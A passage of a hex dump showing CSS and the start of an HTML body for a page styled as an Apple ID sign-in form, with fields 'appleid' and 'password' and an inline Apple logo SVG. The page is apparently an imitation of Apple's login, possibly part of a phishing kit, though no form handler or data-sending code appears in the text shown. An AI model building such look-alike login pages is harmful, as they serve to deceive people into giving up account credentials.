00f7c6f0 72 3a 20 2e 35 70 78 20 73 6f 6c 69 64 20 23 64 |r: .5px solid #d|
00f7c700 32 64 32 64 37 3b 0d 0a 20 20 20 20 20 20 20 20 |2d2d7;.. |
00f7c710 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 | border-radiu|
00f7c720 73 3a 20 31 30 70 78 3b 0d 0a 20 20 20 20 20 20 |s: 10px;.. |
00f7c730 20 20 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 | border-bot|
00f7c740 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a |tom-left-radius:|
00f7c750 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 | 0;.. |
00f7c760 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 | border-bottom-r|
00f7c770 69 67 68 74 2d 72 61 64 69 75 73 3a 20 30 3b 0d |ight-radius: 0;.|
00f7c780 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 |. bac|
00f7c790 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 |kground-repeat: |
00f7c7a0 6e 6f 2d 72 65 70 65 61 74 3b 0d 0a 20 20 20 20 |no-repeat;.. |
00f7c7b0 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 | backgrou|
00f7c7c0 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 63 61 6c |nd-position: cal|
00f7c7d0 63 28 31 30 30 25 20 2d 20 32 30 70 78 29 20 63 |c(100% - 20px) c|
00f7c7e0 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 |enter;.. |
00f7c7f0 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 | background-i|
00f7c800 6d 61 67 65 3a 20 75 72 6c 28 27 2e 2f 69 6e 70 |mage: url('./inp|
00f7c810 75 74 2e 73 76 67 27 29 3b 0d 0a 20 20 20 20 20 |ut.svg');.. |
00f7c820 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 73 65 6c | align-sel|
00f7c830 66 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 |f: center;.. |
00f7c840 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 | backgrou|
00f7c850 6e 64 2d 73 69 7a 65 3a 20 38 25 3b 0d 0a 20 20 |nd-size: 8%;.. |
00f7c860 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 | }.... |
00f7c870 20 20 20 23 70 61 73 73 77 6f 72 64 20 7b 0d 0a | #password {..|
00f7c880 20 20 20 20 20 20 20 20 20 20 20 20 6d 69 6e 2d | min-|
00f7c890 77 69 64 74 68 3a 20 33 35 30 70 78 3b 0d 0a 20 |width: 350px;.. |
00f7c8a0 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 | paddi|
00f7c8b0 6e 67 3a 20 32 30 70 78 3b 0d 0a 20 20 20 20 20 |ng: 20px;.. |
00f7c8c0 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 2e | border: .|
00f7c8d0 35 70 78 20 73 6f 6c 69 64 20 23 64 32 64 32 64 |5px solid #d2d2d|
00f7c8e0 37 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 |7;.. |
00f7c8f0 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 31 |border-radius: 1|
00f7c900 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 |0px;.. |
00f7c910 20 20 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 | border-top-lef|
00f7c920 74 2d 72 61 64 69 75 73 3a 20 30 3b 0d 0a 20 20 |t-radius: 0;.. |
00f7c930 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 | border|
00f7c940 2d 74 6f 70 2d 72 69 67 68 74 2d 72 61 64 69 75 |-top-right-radiu|
00f7c950 73 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 |s: 0;.. |
00f7c960 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 | background-re|
00f7c970 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b |peat: no-repeat;|
00f7c980 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 |.. ba|
00f7c990 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f |ckground-positio|
00f7c9a0 6e 3a 20 63 61 6c 63 28 31 30 30 25 20 2d 20 32 |n: calc(100% - 2|
00f7c9b0 30 70 78 29 20 63 65 6e 74 65 72 3b 0d 0a 20 20 |0px) center;.. |
00f7c9c0 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 | backgr|
00f7c9d0 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 |ound-image: url(|
00f7c9e0 27 2e 2f 69 6e 70 75 74 2e 73 76 67 27 29 3b 0d |'./input.svg');.|
00f7c9f0 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 |. ali|
00f7ca00 67 6e 2d 73 65 6c 66 3a 20 63 65 6e 74 65 72 3b |gn-self: center;|
00f7ca10 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 |.. ba|
00f7ca20 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 38 |ckground-size: 8|
00f7ca30 25 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d |%;.. }...|
00f7ca40 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 20 23 |. input #|
00f7ca50 61 70 70 6c 65 69 64 20 7b 0d 0a 20 20 20 20 20 |appleid {.. |
00f7ca60 20 20 20 20 20 20 20 62 6f 78 2d 73 68 61 64 6f | box-shado|
00f7ca70 77 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 20 20 |w: none;.. |
00f7ca80 20 20 20 20 20 20 6f 75 74 6c 69 6e 65 3a 20 6e | outline: n|
00f7ca90 6f 6e 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 |one;.. |
00f7caa0 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 68 61 64 6f | -moz-box-shado|
00f7cab0 77 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 20 20 |w: none;.. |
00f7cac0 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f | -webkit-bo|
00f7cad0 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0d |x-shadow: none;.|
00f7cae0 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 |. bor|
00f7caf0 64 65 72 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 |der-color: trans|
00f7cb00 70 61 72 65 6e 74 3b 0d 0a 20 20 20 20 20 20 20 |parent;.. |
00f7cb10 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 69 | }.... .i|
00f7cb20 6e 70 75 74 32 20 7b 0d 0a 20 20 20 20 20 20 20 |nput2 {.. |
00f7cb30 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a | text-align:|
00f7cb40 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 | center;.. |
00f7cb50 20 20 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a | min-width:|
00f7cb60 20 31 38 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 | 180px;.. |
00f7cb70 20 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 | border-bott|
00f7cb80 6f 6d 3a 20 2e 31 70 78 20 73 6f 6c 69 64 20 23 |om: .1px solid #|
00f7cb90 64 32 64 32 64 37 3b 0d 0a 20 20 20 20 20 20 20 |d2d2d7;.. |
00f7cba0 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 6c | }.... .l|
00f7cbb0 6f 67 6f 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 |ogo {.. |
00f7cbc0 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 | display: flex|
00f7cbd0 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6a |;.. j|
00f7cbe0 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 |ustify-content: |
00f7cbf0 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 |center;.. |
00f7cc00 20 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a | margin-top:|
00f7cc10 20 2d 36 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 | -60px;.. |
00f7cc20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 | margin-bott|
00f7cc30 6f 6d 3a 20 32 30 70 78 3b 0d 0a 20 20 20 20 20 |om: 20px;.. |
00f7cc40 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 | }.... |
00f7cc50 2e 6c 6f 67 6f 20 73 76 67 20 7b 0d 0a 20 20 20 |.logo svg {.. |
00f7cc60 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 | width: |
00f7cc70 38 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 |8%;.. |
00f7cc80 20 68 65 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a | height: auto;..|
00f7cc90 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 | }.... |
00f7cca0 20 20 20 20 20 23 72 65 6d 65 6d 62 65 72 20 7b | #remember {|
00f7ccb0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 |.. ma|
00f7ccc0 72 67 69 6e 2d 72 69 67 68 74 3a 20 35 70 78 3b |rgin-right: 5px;|
00f7ccd0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 |.. ma|
00f7cce0 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 |rgin-bottom: 20p|
00f7ccf0 78 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d |x;.. }...|
00f7cd00 0a 20 20 20 20 20 20 20 20 23 72 32 20 7b 0d 0a |. #r2 {..|
00f7cd10 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f | colo|
00f7cd20 72 3a 20 23 36 35 36 35 36 39 3b 0d 0a 20 20 20 |r: #656569;.. |
00f7cd30 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 | }.... |
00f7cd40 20 20 66 6f 72 6d 20 68 34 20 7b 0d 0a 20 20 20 | form h4 {.. |
00f7cd50 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d | margin-|
00f7cd60 74 6f 70 3a 20 31 72 65 6d 3b 0d 0a 20 20 20 20 |top: 1rem;.. |
00f7cd70 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 | font-wei|
00f7cd80 67 68 74 3a 20 33 30 30 3b 0d 0a 20 20 20 20 20 |ght: 300;.. |
00f7cd90 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 | }.... |
00f7cda0 3a 3a 70 6c 61 63 65 68 6f 6c 64 65 72 20 7b 0d |::placeholder {.|
00f7cdb0 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e |. fon|
00f7cdc0 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0d 0a 20 |t-size: 16px;.. |
00f7cdd0 20 20 20 20 20 20 20 20 20 20 20 2f 2a 20 66 6f | /* fo|
00f7cde0 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c |nt-family: Arial|
00f7cdf0 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 2a 2f |, sans-serif; */|
00f7ce00 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 |.. }.... |
00f7ce10 20 20 20 20 20 20 20 2e 62 78 20 7b 0d 0a 20 20 | .bx {.. |
00f7ce20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a | color:|
00f7ce30 20 23 31 39 37 35 64 31 3b 0d 0a 20 20 20 20 20 | #1975d1;.. |
00f7ce40 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d | transform|
00f7ce50 3a 20 72 6f 74 61 74 65 28 34 35 64 65 67 29 3b |: rotate(45deg);|
00f7ce60 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 |.. }.... |
00f7ce70 20 20 20 20 20 20 20 66 6f 6f 74 65 72 20 7b 0d | footer {.|
00f7ce80 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 |. pos|
00f7ce90 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b |ition: absolute;|
00f7cea0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 |.. di|
00f7ceb0 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0d 0a 20 20 |splay: flex;.. |
00f7cec0 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a | width:|
00f7ced0 20 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 | 100%;.. |
00f7cee0 20 20 20 20 68 65 69 67 68 74 3a 20 36 35 70 78 | height: 65px|
00f7cef0 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 |;.. p|
00f7cf00 61 64 64 69 6e 67 3a 20 32 30 70 78 3b 0d 0a 20 |adding: 20px;.. |
00f7cf10 20 20 20 20 20 20 20 20 20 20 20 62 6f 74 74 6f | botto|
00f7cf20 6d 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 |m: 0;.. |
00f7cf30 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d | margin-bottom|
00f7cf40 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 |: 0;.. |
00f7cf50 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c | background-col|
00f7cf60 6f 72 3a 20 23 66 35 66 35 66 37 3b 0d 0a 20 20 |or: #f5f5f7;.. |
00f7cf70 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 | }.... |
00f7cf80 20 20 20 66 6f 6f 74 65 72 20 70 20 7b 0d 0a 20 | footer p {.. |
00f7cf90 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d | font-|
00f7cfa0 73 69 7a 65 3a 20 31 33 70 78 3b 0d 0a 20 20 20 |size: 13px;.. |
00f7cfb0 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 | }.... |
00f7cfc0 20 20 66 6f 6f 74 65 72 20 70 3a 6e 74 68 2d 63 | footer p:nth-c|
00f7cfd0 68 69 6c 64 28 32 29 20 7b 0d 0a 20 20 20 20 20 |hild(2) {.. |
00f7cfe0 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 | margin: 0|
00f7cff0 20 32 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 | 20px;.. |
00f7d000 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 66 6f 6f |}.... foo|
00f7d010 74 65 72 20 70 3a 6e 74 68 2d 63 68 69 6c 64 28 |ter p:nth-child(|
00f7d020 33 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 |3) {.. |
00f7d030 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 | padding-left: |
00f7d040 32 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 |20px;.. |
00f7d050 20 20 20 62 6f 72 64 65 72 2d 6c 65 66 74 3a 20 | border-left: |
00f7d060 2e 35 70 78 20 73 6f 6c 69 64 20 23 64 32 64 32 |.5px solid #d2d2|
00f7d070 64 37 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a |d7;.. }..|
00f7d080 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e |.. button|
00f7d090 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 | {.. |
00f7d0a0 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 |background: none|
00f7d0b0 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 |;.. b|
00f7d0c0 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 |order: none;.. |
00f7d0d0 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e | paddin|
00f7d0e0 67 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 |g: 0;.. |
00f7d0f0 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 | margin: 0;.. |
00f7d100 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 3a | font:|
00f7d110 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 20 20 20 | inherit;.. |
00f7d120 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 69 6e | color: in|
00f7d130 68 65 72 69 74 3b 0d 0a 20 20 20 20 20 20 20 20 |herit;.. |
00f7d140 20 20 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e | cursor: poin|
00f7d150 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d |ter;.. }.|
00f7d160 0a 0d 0a 20 20 20 20 20 20 20 20 40 6d 65 64 69 |... @medi|
00f7d170 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 |a screen and (ma|
00f7d180 78 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 20 |x-width: 768px) |
00f7d190 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 |{.. f|
00f7d1a0 6f 72 6d 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 |orm {.. |
00f7d1b0 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 38 30 | width: 80|
00f7d1c0 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 |%;.. |
00f7d1d0 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 |}.... |
00f7d1e0 20 23 61 70 70 6c 65 69 64 2c 0d 0a 20 20 20 20 | #appleid,.. |
00f7d1f0 20 20 20 20 20 20 20 20 23 70 61 73 73 77 6f 72 | #passwor|
00f7d200 64 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 |d {.. |
00f7d210 20 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 | min-width: |
00f7d220 39 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 |90%;.. |
00f7d230 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a | }.. }..|
00f7d240 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f | </style>..</|
00f7d250 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d |head>....<body>.|
00f7d260 0a 20 20 20 20 3c 68 65 61 64 65 72 3e 0d 0a 20 |. <header>.. |
00f7d270 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 | <div clas|
00f7d280 73 3d 22 61 70 70 6c 65 4c 6f 67 6f 22 3e 0d 0a |s="appleLogo">..|
00f7d290 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 76 67 | <svg|
00f7d2a0 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 78 | version="1.0" x|
00f7d2b0 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 |mlns="http://www|
00f7d2c0 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 |.w3.org/2000/svg|
00f7d2d0 22 20 77 69 64 74 68 3d 22 31 30 30 30 2e 30 30 |" width="1000.00|
00f7d2e0 30 30 30 30 70 74 22 20 68 65 69 67 68 74 3d 22 |0000pt" height="|
00f7d2f0 31 30 30 30 2e 30 30 30 30 30 30 70 74 22 0d 0a |1000.000000pt"..|
00f7d300 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00f7d310 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 30 |viewBox="0 0 100|
00f7d320 30 2e 30 30 30 30 30 30 20 31 30 30 30 2e 30 30 |0.000000 1000.00|
00f7d330 30 30 30 30 22 20 70 72 65 73 65 72 76 65 41 73 |0000" preserveAs|
00f7d340 70 65 63 74 52 61 74 69 6f 3d 22 78 4d 69 64 59 |pectRatio="xMidY|
00f7d350 4d 69 64 20 6d 65 65 74 22 3e 0d 0a 0d 0a 20 20 |Mid meet">.... |
00f7d360 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 67 | <g|
00f7d370 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e | transform="tran|
00f7d380 73 6c 61 74 65 28 30 2e 30 30 30 30 30 30 2c 31 |slate(0.000000,1|
00f7d390 30 30 30 2e 30 30 30 30 30 30 29 20 73 63 61 6c |000.000000) scal|
00f7d3a0 65 28 30 2e 31 30 30 30 30 30 2c 2d 30 2e 31 30 |e(0.100000,-0.10|
00f7d3b0 30 30 30 30 29 22 20 66 69 6c 6c 3d 22 23 30 30 |0000)" fill="#00|
00f7d3c0 30 30 30 30 22 20 73 74 72 6f 6b 65 3d 22 6e 6f |0000" stroke="no|
00f7d3d0 6e 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 |ne">.. |
00f7d3e0 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 | <path |
00f7d3f0 64 3d 22 4d 36 38 32 30 20 39 37 34 35 20 63 2d |d="M6820 9745 c-|
00f7d400 33 33 32 20 2d 35 36 20 2d 37 32 35 20 2d 32 33 |332 -56 -725 -23|
00f7d410 35 20 2d 31 30 31 33 20 2d 34 36 31 20 2d 32 37 |5 -1013 -461 -27|
00f7d420 38 20 2d 32 31 39 20 2d 35 34 35 20 2d 35 38 38 |8 -219 -545 -588|
00f7d430 20 2d 36 38 32 0d 0a 20 20 20 20 20 20 20 20 20 | -682.. |
00f7d440 20 20 20 20 20 20 20 20 20 20 20 2d 39 34 32 20 | -942 |
00f7d450 2d 39 35 20 2d 32 34 37 20 2d 31 34 36 20 2d 35 |-95 -247 -146 -5|
00f7d460 38 35 20 2d 31 31 38 20 2d 37 38 37 20 6c 36 20 |85 -118 -787 l6 |
00f7d470 2d 34 38 20 31 35 36 20 36 20 63 32 32 39 20 39 |-48 156 6 c229 9|
00f7d480 20 33 37 31 20 34 34 20 35 38 38 20 31 34 37 20 | 371 44 588 147 |
00f7d490 34 37 30 0d 0a 20 20 20 20 20 20 20 20 20 20 20 |470.. |
00f7d4a0 20 20 20 20 20 20 20 20 20 32 32 33 20 39 32 36 | 223 926|
00f7d4b0 20 37 32 35 20 31 31 32 31 20 31 32 33 33 20 39 | 725 1121 1233 9|
00f7d4c0 34 20 32 34 34 20 31 34 30 20 35 32 38 20 31 32 |4 244 140 528 12|
00f7d4d0 35 20 37 36 35 20 6c 2d 36 20 31 30 32 20 2d 35 |5 765 l-6 102 -5|
00f7d4e0 31 20 2d 31 20 63 2d 32 38 20 2d 31 20 2d 38 35 |1 -1 c-28 -1 -85|
00f7d4f0 20 2d 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 | -7.. |
00f7d500 20 20 20 20 20 20 20 20 20 2d 31 32 36 20 2d 31 | -126 -1|
00f7d510 34 7a 22 20 2f 3e 0d 0a 0d 0a 20 20 20 20 20 20 |4z" />.... |
00f7d520 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 | <p|
00f7d530 61 74 68 20 64 3d 22 4d 36 36 33 35 20 37 34 39 |ath d="M6635 749|
00f7d540 39 20 63 2d 32 33 38 20 2d 32 36 20 2d 34 39 34 |9 c-238 -26 -494|
00f7d550 20 2d 39 32 20 2d 38 37 30 20 2d 32 32 36 20 2d | -92 -870 -226 -|
00f7d560 34 38 37 20 2d 31 37 34 20 2d 36 34 37 20 2d 32 |487 -174 -647 -2|
00f7d570 31 39 20 2d 37 33 37 0d 0a 20 20 20 20 20 20 20 |19 -737.. |
00f7d580 20 20 20 20 20 20 20 20 20 20 20 20 20 2d 32 30 | -20|
00f7d590 39 20 2d 38 31 20 31 30 20 2d 32 37 34 20 36 34 |9 -81 10 -274 64|
00f7d5a0 20 2d 34 36 33 20 31 33 31 20 2d 34 31 33 20 31 | -463 131 -413 1|
00f7d5b0 34 37 20 2d 35 31 30 20 31 37 39 20 2d 36 35 30 |47 -510 179 -650|
00f7d5c0 20 32 31 35 20 2d 31 39 36 20 35 30 20 2d 33 33 | 215 -196 50 -33|
00f7d5d0 34 20 37 30 0d 0a 20 20 20 20 20 20 20 20 20 20 |4 70.. |
00f7d5e0 20 20 20 20 20 20 20 20 20 20 2d 34 38 38 20 37 | -488 7|
00f7d5f0 30 20 2d 34 32 32 20 30 20 2d 38 36 33 20 2d 31 |0 -422 0 -863 -1|
00f7d600 33 35 20 2d 31 32 34 35 20 2d 33 38 32 20 2d 35 |35 -1245 -382 -5|
00f7d610 33 31 20 2d 33 34 33 20 2d 39 31 37 20 2d 39 30 |31 -343 -917 -90|
00f7d620 32 20 2d 31 30 38 37 20 2d 31 35 37 33 20 2d 38 |2 -1087 -1573 -8|
00f7d630 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 |3.. |
00f7d640 20 20 20 20 20 20 20 2d 33 32 37 20 2d 31 31 30 | -327 -110|
00f7d650 20 2d 35 39 33 20 2d 31 30 32 20 2d 31 30 30 33 | -593 -102 -1003|
00f7d660 20 37 20 2d 33 36 34 20 34 31 20 2d 36 34 33 20 | 7 -364 41 -643 |
00f7d670 31 32 31 20 2d 39 39 37 20 31 36 31 20 2d 37 31 |121 -997 161 -71|
00f7d680 31 20 34 38 36 20 2d 31 34 37 30 20 38 36 33 0d |1 486 -1470 863.|
00f7d690 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |. |
00f7d6a0 20 20 20 20 20 2d 32 30 31 34 20 35 35 39 20 2d | -2014 559 -|
00f7d6b0 38 30 37 20 39 38 35 20 2d 31 31 38 38 20 31 34 |807 985 -1188 14|
00f7d6c0 31 30 20 2d 31 32 36 32 20 31 30 31 20 2d 31 38 |10 -1262 101 -18|
00f7d6d0 20 33 32 35 20 2d 36 20 34 35 33 20 32 34 20 31 | 325 -6 453 24 1|
00f7d6e0 32 33 20 32 39 20 33 31 36 20 39 32 20 35 32 32 |23 29 316 92 522|
00f7d6f0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |.. |
00f7d700 20 20 20 20 20 20 31 37 31 20 35 31 38 20 31 39 | 171 518 19|
00f7d710 38 20 39 32 32 20 32 32 35 20 31 33 38 37 20 39 |8 922 225 1387 9|
00f7d720 31 20 35 30 20 2d 31 35 20 31 36 31 20 2d 35 34 |1 50 -15 161 -54|
00f7d730 20 32 34 38 20 2d 38 37 20 32 30 31 20 2d 37 37 | 248 -87 201 -77|
00f7d740 20 34 30 33 20 2d 31 34 31 20 35 32 39 0d 0a 20 | 403 -141 529.. |
00f7d750 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00f7d760 20 20 20 2d 31 36 38 20 31 32 34 20 2d 32 37 20 | -168 124 -27 |
00f7d770 33 34 32 20 2d 33 37 20 34 34 34 20 2d 32 31 20 |342 -37 444 -21 |
00f7d780 31 37 39 20 32 38 20 33 37 30 20 31 30 38 20 35 |179 28 370 108 5|
00f7d790 34 30 20 32 32 39 20 33 35 30 20 32 34 37 20 38 |40 229 350 247 8|
00f7d7a0 38 37 20 39 34 36 20 31 32 30 30 0d 0a 20 20 20 |87 946 1200.. |
00f7d7b0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00f7d7c0 20 31 35 36 32 20 39 36 20 31 39 30 20 32 35 31 | 1562 96 190 251|
00f7d7d0 20 35 36 31 20 32 39 34 20 37 30 37 20 36 20 32 | 561 294 707 6 2|
00f7d7e0 30 20 2d 35 20 32 38 20 2d 31 31 31 20 38 31 20 |0 -5 28 -111 81 |
00f7d7f0 2d 32 32 39 20 31 31 34 20 2d 33 39 38 20 32 33 |-229 114 -398 23|
00f7d800 37 20 2d 35 39 34 20 34 33 32 0d 0a 20 20 20 20 |7 -594 432.. |
00f7d810 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00f7d820 2d 33 33 32 20 33 33 30 20 2d 35 31 39 20 37 30 |-332 330 -519 70|
00f7d830 32 20 2d 35 38 35 20 31 31 36 37 20 2d 32 33 20 |2 -585 1167 -23 |
00f7d840 31 36 32 20 2d 32 33 20 34 36 38 20 30 20 36 32 |162 -23 468 0 62|
00f7d850 37 20 34 33 20 32 39 36 20 31 34 30 20 35 35 38 |7 43 296 140 558|
00f7d860 20 32 39 33 20 37 39 31 0d 0a 20 20 20 20 20 20 | 293 791.. |
00f7d870 20 20 20 20 20 20 20 20 20 20 20 20 20 20 31 35 | 15|
00f7d880 38 20 32 33 39 20 33 39 34 20 34 36 38 20 36 36 |8 239 394 468 66|
00f7d890 31 20 36 34 30 20 6c 39 31 20 35 38 20 2d 36 31 |1 640 l91 58 -61|
00f7d8a0 20 38 30 20 63 2d 32 37 37 20 33 36 33 20 2d 36 | 80 c-277 363 -6|
00f7d8b0 37 30 20 36 32 35 20 2d 31 31 34 32 20 37 36 31 |70 625 -1142 761|
00f7d8c0 20 2d 33 30 36 20 38 39 0d 0a 20 20 20 20 20 20 | -306 89.. |
00f7d8d0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2d 36 | -6|
00f7d8e0 37 39 20 31 33 31 20 2d 39 32 31 20 31 30 35 7a |79 131 -921 105z|
00f7d8f0 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 |" />.. |
00f7d900 20 20 20 20 20 20 3c 2f 67 3e 0d 0a 20 20 20 20 | </g>.. |
00f7d910 20 20 20 20 20 20 20 20 3c 2f 73 76 67 3e 0d 0a | </svg>..|
